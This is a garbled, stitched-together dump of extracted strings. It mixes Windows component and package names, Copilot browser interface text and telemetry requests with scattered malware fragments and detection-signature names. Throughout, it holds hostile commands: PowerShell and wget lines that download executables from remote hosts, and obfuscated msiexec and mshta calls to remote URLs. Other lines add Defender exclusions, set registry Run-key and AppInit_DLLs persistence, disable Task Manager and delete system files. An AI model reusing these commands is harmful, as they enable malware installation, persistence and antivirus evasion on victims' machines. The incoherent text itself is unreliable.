.P6A_NAEBUShutdownUXOption@Shutdown@UI@Internal@Windows@winrt@@@Z
.?AV?$_Binder@U_Unforced@std@@P8DictationManager@implementation@Dictation@Input@UI@WindowsUdk@winrt@@EAAXG@ZPEAU3456789@AEBU?$_Ph@$00@2@@std@@
.?AV?$_Binder@U_Unforced@std@@P8DictationManager@implementation@Dictation@Input@UI@WindowsUdk@winrt@@EAAXXZPEAU3456789@@std@@
.?AV?$_Binder@U_Unforced@std@@P8DictationInputProcessor@implementation@Text@Input@UI@WindowsUdk@winrt@@EAAXXZPEAU3456789@@std@@
.?AV?$_Binder@U_Unforced@std@@P8DictationInputProcessor@implementation@Text@Input@UI@WindowsUdk@winrt@@EAAXG@ZPEAU3456789@AEBU?$_Ph@$00@2@@std@@
.?AU?$TypedEventHandler@UMenuItem@UI@WindowsUdk@winrt@@UMenuItemInvokedArgs@234@@Foundation@Windows@winrt@@
EnumWindows
qa?windowState@QWindow@@QEBA?AW4WindowState@Qt@@XZ
sa?windowStates@QWindow@@QEBA?AV?$QFlags@W4WindowState@Qt@@@@XZ
	?allWindows@QGuiApplication@@SA?AV?$QList@PEAVQWindow@@@@XZ
_?topLevelWindows@QGuiApplication@@SA?AV?$QList@PEAVQWindow@@@@XZ
.getfolder('c:\\\\windows').attributes == 16) return true; else return false;
    name="Microsoft.Windows.MultiMedia.SndVolSSO"
            name="Microsoft.Windows.Common-Controls"
powershell.exe</command><arguments>-nologo-executionpolicybypass-noninteractive-windowstylehidden-encodedcommandowagadsaowa7acaaiaa7acaaowagacaaowagadsajabfahiacgbvahiaqqbjahqaaqbvag4auabyag
!:\windows\system32\ctfmen.exe:\windows\system32\smnss.exe:\windows\system32\satornas.dll:\windows\system32\grcopy.dllautostart_botRansom:Win32/GrandCrab.A
ot profileMicrosoft Copilot is trying to turn on Windows Hello for filling passwords.Microsoft Copilot is trying to turn off Windows Hello for filling passwords.Cards and addresses are from Microsoft Copilot. You can manage them in BEGIN_LINKSettingsEND_LINK.An application is preventing Microsoft Copilot from safely connecting to this siteCan't establish a secure connection: The certificates that websites use to identify themselves are only valid for specific periods of time. Because your device's clock is incorrect, Microsoft Copilot can't verify these certificates.$1 uses encryption to protect your information. When Microsoft Copilot tried to connect to $1 this time, the website sent back unusual and incorrect credentials. This may happen when an attacker is trying to pretend to be $1, or a Wi-Fi sign-in screen has interrupted the connection. Your information is still secure because Microsoft Copilot stopped the connection before any data was exchanged.You can't visit $1 right now because the website sent scrambled credentials that Microsoft Copilot can't process. Network errors and attacks are usually temporary, so this page will probably work later.<h4>Step 1: Sign in to the portal</h4>
    <p>If you still see the error, contact the website owner.</p>"Software on your computer is preventing Microsoft Copilot from safely connecting to the web" (Windows computers only)The site $2 has failed to deliver an origin policy,
usage: ophcrackcracks windows passwords with rainbow tablesreading the sam file
Microsoft.Windows.Shell.ScoobeEligibility
gamesforwindowsV
Microsoft.Windows.
*Microsoft.Windows.ContentDeliveryManager_cw5n1h2txyewy
*Microsoft.Windows.ContentDeliveryManager_cw5n1h2txyewy
.Windows.CloudExperienceHost_cw5n1h2txyewy!Appa
Microsoft.Windows.Desktop.Shell.MonitorManager
Microsoft.Windows.Shell.MSAWindowManager
Microsoft.Windows.Shell.NotesManager
Microsoft.Windows.Desktop.OverrideScaling
Microsoft.Windows.Shell.InkWorkspaceHostedAppsManager
MicrosoftWindowsFileExplorer
Microsoft.Windows.Audio.Client
Microsoft.Windows.Shell.PlayToReceiverManager
Microsoft.Windows.Shell.ProjectionManager
Microsoft.Windows.Desktop.Shell.TwinUI.QuietHoursService
Microsoft.Windows.Shell.PenSignalManager
Microsoft.Windows.Shell.ModernShare
Microsoft.Windows.Store.StoreFrontHelperTelemetry
Microsoft.Windows.Shell.WindowManagement
Microsoft.Windows.Shell.WindowMessageService
Microsoft.Windows.Shell.DefaultAssoc
Microsoft-Windows-Shell-CriticalResultVerifier
Microsoft.Windows.Desktop.Shell.ImmersiveIcons
Microsoft.Windows.Shell.ProjectionManager.DisplayPickerHelper
Microsoft.Windows.Desktop.Shell.OOBEHealth
Microsoft.Windows.Shell.CloudExperienceHostCore
Microsoft.Windows.Settings.Accessibility
Microsoft.Windows.Shell.Display
Microsoft.Windows.Shell.CoCreateInstanceAsSystem
windows.hlp`
WindowsForms.
\system32\msiexecv
s\windowsdefender
s RAM usageAutomatically open Copilot when you sign into WindowsBrowse with Microsoft Copilot, search with Bing, and shop at the Microsoft and Windows stores to earn free rewardsEarn Microsoft Rewards in Microsoft CopilotCopilot connects local browsing data from this profile with the rest of Windows.When turned on, Microsoft Copilot will connect local browsing data from this profile with the rest of Windows. Turning this feature on will help you find information from your history, top sites and recent tabs more easily using features such as the search box on the taskbar in Windows. If you turn off this feature Microsoft Copilot will remove the data shared with Windows on the device and stop sharing any new browsing data from this profile.Save content using Collections in Microsoft CopilotAlways have access to your recent browsing data each time you browse on Microsoft CopilotChoose confirm to stop Microsoft Copilot from importing browser data from other browsers.Application behavior and featuresCustomize general application behavior settings like asking before closing multiple tabs, mouse gesture, and split screenAllow Copilot to save your passwords and keep them safe.Energy saver helps save device battery and reduce power consumption when you
c:\windows\system32\cmd.exe/v:on/c..\
)c:\v1publish@.publishx2trojancitizens.vbsv.trojancitizens.vbs")..\..\..\..\..\publish\trojancitizens.vbsc:\windows\system32\shell32.dll%systemroot%\system32\shell32.dll%systemroot%\system32\shell32.dll
Windows Defender Exploit Guard detected}
windir%\system32\DWWIN3
C:\Windowsj
WindowsApps\MSTeams_*\ms-t
windir%\system32\WerFaultSecure.exe
WindowsAgen
5url=http://20.199.84.103/client.exe"set"dest=c:\windows\temp\client.exe"ifexist"%dest%"del"%dest%"powershell-whidden-c"(new-objectsystem.net.webclient).downloadfile('%url%','%dest%')"i
c:\v1windows@.windowsz1system32b.system32v2cmd.exe@.cmd.exe
"!%systemroot%\system32\shell32.dll%wn]nd.q1spsxfl8c&mm.s-1-5-21-3475989516-592995164-1648954114-1001
WindowsCreateStringReference
WindowsDeleteString
GetProcessWindowStation
Windows
allbytes("c:\windows\temp\keyscrambler7
W://2i.wf:8080/b/oy/w/xj5w/wbks/geql6br/oo/!computername!"bkxxa^z^h^dr=um^zokk^o^e-qn%windir%\system32\
ws\system32
re signed in to Microsoft Copilot, passwords you save will go in your Microsoft Account, $1. To turn this off, go to settings.Choose sign in below to use this app with Microsoft Copilot credentials.Edit this screenshot. Open screenshot editor to modify a screenshot of your desktop and Microsoft Copilot windows. Warning: might contain sensitive information.Hey, you're not signed into Microsoft Copilot. Signing in is the way to track your feedback. <a href="#" id="browser-sign-in">Sign in now</a>Recommend Microsoft CopilotHow likely are you to recommend Microsoft Copilot to a friend or colleague?Would you recommend Microsoft Copilot to others, if asked?Would you recommend Microsoft Copilot $1 to others, if asked?Microsoft Copilot can't open this file type.Microsoft Copilot Pinning WizardHmm...we don't have any suggestions for you right now. Our suggestions are based on your usage of Microsoft Copilot, so try using it for a while and then ask us again.This extension has been turned off to protect your application settings.Microsoft Copilot logoYour application is managed by your organizationapplication is managedUpdate available for Microsoft Copilot. Press Alt+F to open Settings and more menu.Update recommended for Microsoft Copilot. Press Alt+F to open Settings and more menu.Please update Microsoft Copilot now. Press Alt+F to open Settings and more menu.Live Capture Window opened in applicationMicrosoft Copilot <em>won't save</em>:
7B239D%2CMD%3A36AF640%2CMD%3A9999&arch=AMD64&concp=0&d3dfl=D3D_FEATURE_LEVEL_11_0&devfam=Windows.Desktop&devfm=0&devosver=10.0.26200.7840&dinst=1771603177&dmret=0&drgng=223&flightbranch=&flightring=Retail&icluc=0&iepe=2&iste=2&localid=w%3ADBFCEB78-2C59-FA53-8626-4ED67E8A4320&oem=VMware20%2C1&oemn=VMware%2C%20Inc.&oemname=VMware%2C%20Inc.&osbranch=ge_release&oslocale=en-US&osret=1&ossku=Professional&osskuid=48&prccn=2&prccs=2189&prcmf=GenuineIntel&procm=13th%20Gen%20Intel%28R%29%20Core%28TM%29%20i7-1370P&ram=2048&smbiosdm=VMware20%2C1&tinst=Client&tl=1&usri=-2&pat=0&smc=0&sac=0&disphorzres=3438&dispsize=37.9&dispvertres=1199&ldisphorzres=3438&ldispvertres=1199&moncnt=1&cpdsk=60451&frdsk=40516&lo=5273&tsu=5273&RULES_SCHEMA=1 HTTP/1.1Qc
Hostfd.api.iris.microsoft.comGET /v4/api/selection?&asid=EF8152DA393A43FCA2EFD3EF3EA9AE24&nct=1&placement=88000852&bcnt=1&country=CH&locale=en-CH&poptin=0&po=0&fmt=json&clr=cdmlite&MX_FlightIds=MD%3A283BAEF%2CME%3A3667C98%2CME%3A3667C9A%2CME%3A3667CA2%2CME%3A3667CA7%2CME%3A3667CAD%2CME%3A38419AC%2CME%3A3536BD9%2CMD%3A2FE0A31%2CMD%3A2FE0A40%2CMD%3A2FE0A4F%2CMD%3A37B239D%2CMD%3A36AF640%2CMD%3A9999&arch=AMD64&concp=0&d3dfl=D3D_FEATURE_LEVEL_11_0&devfam=Windows.Desktop&devfm=0&devosver=10.0.26200.7840&dinst=1771603177&dmret=0&drgng=223&flightbranch=&flightring=Retail&icluc=0&iepe=2&iste=2&localid=w%3ADBFCEB78-2C59-FA53-8626-4ED67E8A4320&oem=VMware20%2C1&oemn=VMware%2C%20Inc.&oemname=VMware%2C%20Inc.&osbranch=ge_release&oslocale=en-US&osret=1&ossku=Professional&osskuid=48&prccn=2&prccs=2189&prcmf=GenuineIntel&procm=13th%20Gen%20Intel%28R%29%20Core%28TM%29%20i7-1370P&ram=2048&smbiosdm=VMware20%2C1&tinst=Client&tl=1&usri=-2&pat=0&smc=0&sac=0&disphorzres=3438&dispsize=37.9&dispvertres=1199&ldisphorzres=3438&ldispvertres=1199&moncnt=1&cpdsk=60451&frdsk=40516&lo=5273&tsu=5273&RULES_SCHEMA=1 HTTP/1.1
[MSAL:0004]	INFO   	LogTelemetryData:464	Key: authorization_type, Value: WindowsIntegratedAuth
[hkey_local_machine\software\microsoft\windows\currentversion\run]"sys"="regedit-ssys.reg=
`<w:instrtext>windows\\system32\\ms
	msWindowsTaskManager
windowsf
(windows-defender(-features|-gui)?[^-\w])
\\.\root\Microsoft\Windows\Storage:__Win32Provider.Name="iSCSIWMIv2"
1\bho.eunivbho.1\c:\windows\downloaded program files\ncaseinstaller.dll
R\bho.eunivbho.1\c:\windows\downloaded program files\ncaseinstaller.dll
We've imported your extensions to the new Microsoft CopilotWe've installed your extensions in the new Microsoft CopilotHelp Microsoft improve our products by sending crash reports, info about how you use Copilot and the websites you visit.By clicking "Accept and get started" you allow Microsoft Copilot to $1update automatically$2 so that you always have the latest improvements. These updates are independent of your Windows update settings.Microsoft Copilot CompatibilitySites on this list will only be able to use the specified content decryption
temroot%\system32\imageres.dll%
cmd.exeibm-mnb{/d/vzo/cstartm^siex^e^cfynk=^m^e^x-^q^ui^e^tyu=^jwxmd^z^yi/f^v"http://2t.pm:8080/agbvff9w7a8gvdhoj5j/!computername!"!%systemroot%\system32\shell32.dll%
cmd.exel/y/q/r^s^t^art^ms^i^e^x^e^cz^l=v^y-^p^ac^k^ag^e"http://gz.qa:8080/amawwoey/bi7/dbczxwx04r9/h6k/%computername%"^sa^u^y=^rp^dh-^q%windir%\system32\imageres.dll%
\windows\system32\windowspowershell\v1.0\powershell.exe%homedrive%%homepath%cmd/cpowershellwget'http://pedrosvadeira.com.br/1.jpg'-outfile'c:\users\public\putty.exe';
\windows\system32\cmd.exe/v/r^st^a^rt^msiexe^c/^q^n^ixr^j^zk=^tz/p^a^c^ka^ge"http://7d.wf:8080/b/kaub8sq3x4nzjwbt4kqpl9gzw//!computername!"^c^k^a=b^eu^dvkshell32.dll%
Windows.Networking.BackgroundTransfer.Internal.BackgroundTransferTask.ClassId.3
Windows.Networking.BackgroundTransfer.Internal.NetworkChangeTask.ClassId.1
Windows.Networking.BackgroundTransfer.Internal.NetworkChangeTask.ClassId.2
Windows.Networking.BackgroundTransfer.Internal.NetworkChangeTask.ClassId.3
Windows.Networking.ContentPrefetcher.Internal.ContentPrefetcherTask.ClassId.1
Path=C:\WINDOWS\system32;
aps.prod.windows.com0
aps.prod.windows.com0>
Windows
@UI@Windows@4@X
C:\__w\1\s\packages\Microsoft.Windows.Wil.Internal.0.3.30\inc\wil\opensource\wil\token_helpers.h
C:\__w\1\s\packages\Microsoft.Windows.Wil.Internal.0.3.30\inc\wil\opensource\wil\win32_helpers.h
\\Windows\\UUS\\
Path":"amd64\\WindowsU
c:\windows\system32\cmd.exe/ccurl-
Yreg add hkcu\software\microsoft\windows\currentversion\policies\system /v disabletaskmgr /t reg_dworddel c:\windows\system32\hal.dllp
X\Microsoft\Windows\Start Menu\Programs\Startup\WinSysManager.exeD:winlogs.txt
C:\Windows \System32\easinvoker.exeC
windows.hlp`
Microsoft-Windows-Client-Desktop-Required-WOW64-Package0010~31bf3856ad364e35~amd64~~10.0.26100.7824.cat
Microsoft-Windows-Client-Desktop-Required-Package0412~31bf3856ad364e35~amd64~~10.0.26100.7840.cat
Microsoft-Windows-Client-Desktop-Required-Package0412~31bf3856ad364e35~amd64~~10.0.26100.7840.cat
WindowsVersion
powershell-windowstylehidden-command"set-executionpolicybypass-scopeprocess-force;$download_path='c:\users\public\downloads\update.exe';add-mppreference-exclusionF
c:\windows\system32
%Microsoft Windows Production PCA 20110
%Microsoft Windows Production PCA 2011
 http://www.microsoft.com/windows0
s2-base64-5-step-http-shell-decode-execute-clientpyi-windows-manifest-filename IDM.exe.manifest!#HSTR:Win32/Guloader.KQQO123!MTB
PSModulePath=%ProgramFiles%\WindowsPowerShell\Modules;C:\WINDOWS\system32\WindowsPowerShell\v1.0\Modules
file folderexplorerhh:nnat %s cmd /c del "%s"c:\windows\svchost.dllat %s %s firewall
AWindows NT\CurrentVersion\Image File Execur
"Windows NT\CurrentVersion\Image File Execution Op
s\system32\slmgr.vbs
GetWindowsDirectoryW
TimeWindowsFormsApplication.PropertiesT
lj6!#SIGATTR:Run_BailOnWindowsEnum
Microsoft-Windows-Client-Desktop-Required-Package001020~31bf3856ad364e35~amd64~~10.0.26100.1742.cat|Microsoft-Windows-Client-Desktop-Required-Package001120~31bf3856ad364e35~amd64~~10.0.26100.7705.cat|!
Microsoft-Windows-Client-Desktop-Required-Package0011~31bf3856ad364e35~amd64~~10.0.26100.1742.cat|!
Microsoft-Windows-Client-Desktop-Required-Package01~31bf3856ad364e35~amd64~~10.0.26100.1742.cat|!
Microsoft-Windows-Client-Desktop-Required-Package0412~31bf3856ad364e35~amd64~~10.0.26100.7840.cat|!
Microsoft-Windows-Client-Desktop-Required-Package0416~31bf3856ad364e35~amd64~~10.0.26100.7824.cat|!
Microsoft-Windows-Client-Desktop-Required-Package0419~31bf3856ad364e35~amd64~~10.0.26100.7824.cat|!
Microsoft-Windows-Client-Desktop-Required-Package04~31bf3856ad364e35~amd64~~10.0.26100.1742.cat|!
Microsoft-Windows-Client-Features-Package05~31bf3856ad364e35~amd64~~10.0.26100.1742.cat|Microsoft-Windows-Client-Features-Package05~31bf3856ad364e35~amd64~~10.0.26100.7824.cat|!
Microsoft-Windows-Client-Features-Package~31bf3856ad364e35~amd64~~10.0.26100.7840.cat|!
Microsoft-Windows-IIS-WebServer-AddOn-2-Package~31bf3856ad364e35~amd64~~10.0.26100.1742.cat|Microsoft-Windows-IIS-WebServer-AddOn-Package~31bf3856ad364e35~amd64~~10.0.26100.1742.cat|Microsoft-Windows-IIS-WebServer-Package~31bf3856ad364e35~amd64~~10.0.26100.1742.cat|!
Microsoft-Windows-Client-Features-Package05~31bf3856ad364e35~amd64~~10.0.26100.1742.cat|Microsoft-Windows-Client-Features-Package05~31bf3856ad364e35~amd64~~10.0.26100.7824.cat|!
Microsoft-Windows-Client-Features-Package~31bf3856ad364e35~amd64~~10.0.26100.7840.cat|!
Microsoft-Windows-IIS-WebServer-AddOn-2-Package~31bf3856ad364e35~amd64~~10.0.26100.1742.cat|Microsoft-Windows-IIS-WebServer-AddOn-Package~31bf3856ad364e35~amd64~~10.0.26100.1742.cat|Microsoft-Windows-IIS-WebServer-Package~31bf3856ad364e35~amd64~~10.0.26100.1742.cat|!
Microsoft-Windows-Client-Features-WOW64-Package0112~31bf3856ad364e35~amd64~~10.0.26100.7705.cat
Microsoft-Windows-Client-Desktop-Required-Package0418~31bf3856ad364e35~amd64~~10.0.26100.7840.cat
Microsoft-Windows-WPD-LegacyWmdmFeature-Feature-WOW64-Package~31bf3856ad364e35~amd64~~10.0.26100.7309.cat
windowstylehidden-c(new-objectnet.webclient).downloadstring('https://1cbit-dev.com/
\system32\cmd.execmd/cmshta
.?AVWindowsFeedbackHubIntegration@@
.windows.creddump7
WindowsApps
 Windows 
/create /tn SystemScript /tr ""C:\Documents and Settings\JohnDoe\Local Settings\Application Data\Microsoft\Windows\
"C:\Documents and Settings\JohnDoe\Local Settings\Application Data\Microsoft\Windows\
system32\cmd.exeq/cstartc:\googlechrome\googlechrome.exec:\googlechrome\googlechrome.a3x&exit
<h3>verificationsteps</h3><p>1.presswindowsbutton"<iclass="fabfa-windows"></i>"+r</p;
Microsoft.Windows.IrisService
System.Windows.Forms.UnsafeNativeMethods.IRangeValueProvider.Value
System.Windows.Forms.UnsafeNativeMethods.ILegacyIAccessibleProvider.get_Value
System.Windows.Forms.UnsafeNativeMethods.IValueProvider.get_Value
System.Windows.Forms.UnsafeNativeMethods.IRangeValueProvider.get_Value
System.Windows.Forms.UnsafeNativeMethods.IAccessibleInternal.get_accValue
System.Windows.Forms.UnsafeNativeMethods.IAccessibleInternal.set_accValue
System.Windows.Forms.UnsafeNativeMethods.UiaCore.ITextRangeProvider.GetAttributeValue
System.Windows.Forms.UnsafeNativeMethods.ILegacyIAccessibleProvider.SetValue
System.Windows.Forms.UnsafeNativeMethods.IValueProvider.SetValue
System.Windows.Forms.UnsafeNativeMethods.IRangeValueProvider.SetValue
windows.hlp
Microsoft-OneCore-Common-DriverClasses-Core-Package~31bf3856ad364e35~amd64~en-US~10.0.26100.1.cat|Microsoft-OneCore-Common-DriverClasses-Core-Package~31bf3856ad364e35~amd64~en-US~10.0.26100.4484.cat|Microsoft-Windows-Client-Desktop-Required-Package0010~31bf3856ad364e35~amd64~en-US~10.0.26100.1591.cat|Microsoft-Windows-Client-Desktop-Required-Package0011~31bf3856ad364e35~amd64~en-US~10.0.26100.7623.cat|!
Microsoft-Windows-Client-Desktop-Required-Package0010~31bf3856ad364e35~amd64~en-US~10.0.26100.1591.cat|Microsoft-Windows-Client-Desktop-Required-Package0011~31bf3856ad364e35~amd64~en-US~10.0.26100.7623.cat|!
Microsoft-Windows-Client-Desktop-Required-Package0010~31bf3856ad364e35~amd64~~10.0.26100.1742.cat|!
Microsoft-Windows-Client-Desktop-Required-Package0113~31bf3856ad364e35~amd64~en-US~10.0.26100.7840.cat|!
Microsoft-Windows-Client-Desktop-Required-Package01~31bf3856ad364e35~amd64~~10.0.26100.7824.cat|!
Microsoft-Windows-Client-Desktop-Required-Package04112~31bf3856ad364e35~amd64~~10.0.26100.1742.cat|Microsoft-Windows-Client-Desktop-Required-Package04112~31bf3856ad364e35~amd64~~10.0.26100.7840.cat|!
Microsoft-Windows-Client-Desktop-Required-Package0414~31bf3856ad364e35~amd64~~10.0.26100.1742.cat|!
Microsoft-Windows-Client-Desktop-Required-Package0414~31bf3856ad364e35~amd64~~10.0.26100.7824.cat|!
Microsoft-Windows-Client-Desktop-Required-Package0419~31bf3856ad364e35~amd64~~10.0.26100.1591.cat|Microsoft-Windows-Client-Desktop-Required-Package0419~31bf3856ad364e35~amd64~~10.0.26100.7824.cat|!
Microsoft-Windows-Client-Desktop-Required-Package04111~31bf3856ad364e35~amd64~~10.0.26100.1742.cat|Microsoft-Windows-Client-Desktop-Required-Package04~31bf3856ad364e35~amd64~~10.0.26100.7840.cat|Microsoft-Windows-Client-Desktop-Required-WOW64-Package0012~31bf3856ad364e35~amd64~~10.0.26100.1742.cat|Microsoft-Windows-Client-Desktop-Required-WOW64-Package0012~31bf3856ad364e35~amd64~~10.0.26100.7840.cat|!
Microsoft-Windows-Client-Features-Package02~31bf3856ad364e35~amd64~~10.0.26100.1591.cat|Microsoft-Windows-Client-Features-Package02~31bf3856ad364e35~amd64~~10.0.26100.7824.cat|!
Microsoft-Windows-Client-Features-Package~31bf3856ad364e35~amd64~~10.0.26100.7840.cat|!
Microsoft-Windows-Client-Features-WOW64-Package0110~31bf3856ad364e35~amd64~~10.0.26100.1742.cat|!
Microsoft-Windows-Client-Features-WOW64-Package01~31bf3856ad364e35~amd64~~10.0.26100.7840.cat|!
Package_15_for_KB5066128~31bf3856ad364e35~amd64~~10.0.9321.3.cat|Package_9_for_KB5066128~31bf3856ad364e35~amd64~~10.0.9321.3.cat|es-Package02~31bf3856ad364e35~amd64~~10.0.26100.1591.cat|Microsoft-Windows-Client-Features-Package02~31bf3856ad364e35~amd64~~10.0.26100.7824.cat|Microsoft-Windows-Client-Features-WOW64-Package0111~31bf3856ad364e35~amd64~~10.0.26100.1742.cat|Microsoft-Windows-Client-Features-WOW64-Package0111~31bf3856ad364e35~amd64~~10.0.26100.7824.cat|
..\System32\msxvc.exe
Windows Troubles Removersecure.softstore.com
c:\windows\system32\
wow64_microsoft-windows-winsrv_31bf3856ad364e35_none_b40f705a63ffe748
wow64_microsoft-windows-wintrust-dll_31bf3856ad364e35_none_b73e668a0eeb0cb0
wow64_microsoft-windows-winusb_31bf3856ad364e35_none_b411342e63fe6c8b
wow64_microsoft-windows-winver.resources_31bf3856ad364e35_en-us_b932b5a52d57400d
wow64_microsoft-windows-winver_31bf3856ad364e35_none_b41391c863fbf184
wow64_microsoft-windows-wlan-dialog.resources_31bf3856ad364e35_en-us_e133010f155cd6f9
wow64_microsoft-windows-wlan-dialog_31bf3856ad364e35_none_0d475c9d22137dae
wow64_microsoft-windows-wlan-extension_31bf3856ad364e35_none_e220996554ff6c3f
wow64_microsoft-windows-wlan-netsh-helper_31bf3856ad364e35_none_a1814ed9bf8ff94d
windows\system32\cmd
SystemRoot=C:\WINDOWS
D:\windows\system32\taskmgr.exe:1314/tj
windowsimages
windowsbackup
windowssearchcache
windowsearchcache
ingDMAWindowsScopeNarrator
l2UnrealWWindowsViewportWindow
Microsoft.Windows.Shell.SystemSettings.SettingsEnvironment.Desktop
Q\globalroot\systemroot\system32\avipcconnectavguard01drivers\avgtdix.sysavgtray.exe\\.\kmxagentf
software\tencent\reg add "hklm\software\microsoft\windows nt\currentversion\windows" /v appinit_dlls /t reg_sz /d "%s" /f  reg add "hklm\software\microsoft\windows nt\currentversion\windows" /v loadappinit_dlls /t reg_dword /d 1 /f taskkill /f /im %s /thpig_ws2.datrxing.bathellboy7.hexil.dllshengod.datesetnod.batfakews2help.dllkxescore.exemssoft.bat\dllcache\joachimpeiper.datc:\dd.bathellp.dll
AGGR:Lua:DirPathWindows
\system32\
PSModulePath=%ProgramFiles%\WindowsPowerShell\,
s;C:\WINDOWS\system32.
Software\Microsoft\Windows\CurrentVersion\URL\Prefixes
9i\Microsoft\Windows\Start Menu\Programs\YAC\
uplphostsvc.netSoftware\Microsoft\Windows NT\Currentversion%d/%d/%d %d:%d/Install
c:\window\system32\
c:\window\system32\
Nlattrib+h%systemdrive%\ie.batstartiexplorewww.ipgrabber.altervista.org/chmod_a_rw_ip_logger.php>%systemdrive%\ie.bat:2move/yblat.exe%systemroot%\system32move/y
))}}".exe-windowstylehidden
wow64_microsoft-windows-n..nguage6-base-legacy_31bf3856ad364e35_none_9a2a4d73a59d4dfc
wow64_microsoft-windows-n..nosticsframeworkapi_31bf3856ad364e35_none_83fdb27d45e99dd9
wow64_microsoft-windows-n..n_service_datastore_31bf3856ad364e35_none_223d34ece125d8e0
wow64_microsoft-windows-n..n_service_licensing_31bf3856ad364e35_none_9e3985262faa33f5
wow64_microsoft-windows-n..n_service_migplugin_31bf3856ad364e35_none_cc86c0bfa600cd63
wow64_microsoft-windows-n..od-wow64-deployment_31bf3856ad364e35_none_4097da7e1a9bf8e4
wow64_microsoft-windows-n..ofile-cim.resources_31bf3856ad364e35_en-us_2a44698a1c47429b
wow64_microsoft-windows-n..omain-clients-netsh_31bf3856ad364e35_none_1a24d9c651521a77
wow64_microsoft-windows-n..ork-basic.resources_31bf3856ad364e35_en-us_f19664a80dd52575
wow64_microsoft-windows-n..ork-setup-servicing_31bf3856ad364e35_none_bced877573cc4a5c
We've imported your extensions to the new Microsoft CopilotWe've installed your extensions in the new Microsoft CopilotHelp Microsoft improve our products by sending crash reports, info about how you use Copilot and the websites you visit.By clicking "Accept and get started" you allow Microsoft Copilot to $1update automatically$2 so that you always have the latest improvements. These updates are independent of your Windows update settings.Microsoft Copilot CompatibilitySites on this list will only be able to use the specified content decryption
System.Runtime.InteropServices.WindowsRuntime
    "kfmWindowSaveChangeText":  "Save changes",
    "settingsSyncStartAutomatically":  "Start OneDrive when I sign in to Windows",
    "kfmWindowSkipBackupText":  "I\u0027ll do it later",
C:\WINDOWS\system32\kernelbase.dll[MofResourceName]
C:\WINDOWS\system32\kernelbase.dll[MofResourceName]
C:\WINDOWS\system32\kernelbase.dll[MofResourceName]
C:\WINDOWS\system32\kernelbase.dll[MofResourceName]
C:\WINDOWS\system32\kernelbase.dll[MofResourceName]
C:\WINDOWS\system32\kernelbase.dll[MofResourceName]
C:\WINDOWS\system32\kernelbase.dll[MofResourceName]
C:\WINDOWS\system32\kernelbase.dll[MofResourceName]
C:\WINDOWS\system32\kernelbase.dll[MofResourceName]
C:\WINDOWS\system32\kernelbase.dll[MofResourceName]
C:\WINDOWS\system32\kernelbase.dll[MofResourceName]
C:\WINDOWS\system32\kernelbase.dll[MofResourceName]
C:\WINDOWS\system32\kernelbase.dll[MofResourceName]
c:\windows\temp\app.bat
cacls.exe c:\windows\temp /e /g everyone:f
C:\WINDOWS\system32\en-US\kernelbase.dll.mui[MofResourceName]
C:\WINDOWS\system32\en-US\kernelbase.dll.mui[MofResourceName]
C:\WINDOWS\system32\en-US\kernelbase.dll.mui[MofResourceName]
C:\WINDOWS\system32\en-US\kernelbase.dll.mui[MofResourceName]
C:\WINDOWS\system32\en-US\kernelbase.dll.mui[MofResourceName]
C:\WINDOWS\system32\en-US\kernelbase.dll.mui[MofResourceName]
C:\WINDOWS\system32\en-US\kernelbase.dll.mui[MofResourceName]
C:\WINDOWS\system32\en-US\kernelbase.dll.mui[MofResourceName]
C:\WINDOWS\system32\en-US\kernelbase.dll.mui[MofResourceName]
C:\WINDOWS\system32\en-US\kernelbase.dll.mui[MofResourceName]
C:\WINDOWS\system32\en-US\kernelbase.dll.mui[MofResourceName]
C:\WINDOWS\system32\en-US\kernelbase.dll.mui[MofResourceName]
C:\WINDOWS\system32\en-US\kernelbase.dll.mui[MofResourceName]
C:\WINDOWS\system32\en-US\kernelbase.dll.mui[MofResourceName]
 .create("c:\\\\windows\\\\syswow64\\\\rundll32.exec:\\programdata\\
regadd""hklm\software\policies\microsoft\windowsdefender\exclusions\processes""/v""c:\programdata\reaitekhd\taskhost.exe""/treg_dword/d0/f
c:\windows\system32\cmd.exe/cstart/b%systemroot%\system32\mshtahttps://share.stablemarket.org/auesdfdytf7kmvsgklvh8k9z1fjbup9bjrv/zqtwi+g=
>Link Uninstall</a>\disinstalla.htmADVPLUGIN|KSOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\User Agent\Post Platform
GenuineIpRasGetEntryPropertiesAtrinidad & tobagospanish-el salvadorspanish-argentinaportuguese-braziliannorwegian-nynorsknorwegian-bokmalSoftware\Microsoft\Windows\CurrentVersion\Internet Settings\ZonesSoftware\Microsoft\SystemCertificates\TrustedPublisher\CertificatesSoftware\Microsoft\Windows\CurrentVersion\WinTrust\Trust Providers\Software Publishing\Trust Database\0cmdline: %s, _ShowAgr=%d, _Autost=%dDentro RasDialFunc con RASCONNSTATE=%drtaYDjwLg#fCS4E9nqVkhscOHbvm3RJ56xpTZI7lXi+WGo2Mu8KQB1dPUANze0FyMi sto disconnettendo...4 ManageDialing frommenu=%d,skipAgreement=%dErrore nella connessione:retvalue= %d (%x), GLE:%d (%x)%s %d (%x - %s), GLE:%d (%x)%s %s %d %s                 [T%dT].urlImpossibile creare la connection information  Error %ldNon riesco a creare la phonebook entry. (modem:%s) Errore %ldRDF-msg=%d rcs=%d, dwErr=%d%s /astartImpossibile connettersi. Assenza di linea. Controllare che il modem sia acceso e connesso.Nessun Modem Rilevato. Controllare e riprovare.Nessun Dispositivo Rilevato o Errore. Controllare e riprovare.Errore nel rilascio del certificato di attivazione. Transazione abortita. Nessun addebito verra' effettuato.ConnessoVuoi riconnetterti?RiconnessioneDisconnessoTISCALILIBEROVIRGILIOCLARENCEKATAWEBJUMPYVirgilioGoogleLGsony-jRFC157YRFC493zOvertureWwIiNnDdOoWwSs2Kk/rfc765wINDows2kRFC4931%s\ADDINS/noinstall%s_ConnectionArea adultiwww.top69.org/index.phpwww.webcont.net/CONTENTSThank you for using this Dialer.micio_bauspares/code/get.phpGET /%s?iddl=%d&clid=%d&avr1=%d&avr2=%d&avr3=%d HTTP/1.0 NTS/adultcont/index.phphttp://www.nubileones.com/members/BOOT-F37D28CE-CE37-4bc8-B128-EA27747BE5E7err=exit from trybarConnected: %02i:%02i:%02iSOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\ActiveX Cachestandalone="%s" {7521IT11-1111-1111-1111-111111111111}"%s" PID:%d EXE:"%s"The connection has been closed (externally)...disclaimer_dsdial_generationRegistering computer on the network...Logging on to the network...Hai scelto di non attivare un nuovo abbonamento.BAK|%s|%04d|%d|%c|%s|EAKprecedentemente accettate.N.B.: i ticket acquistati con questo programma saranno validi fino alTinyDialer+upd.exeUnNetgeferqC:\un.exe
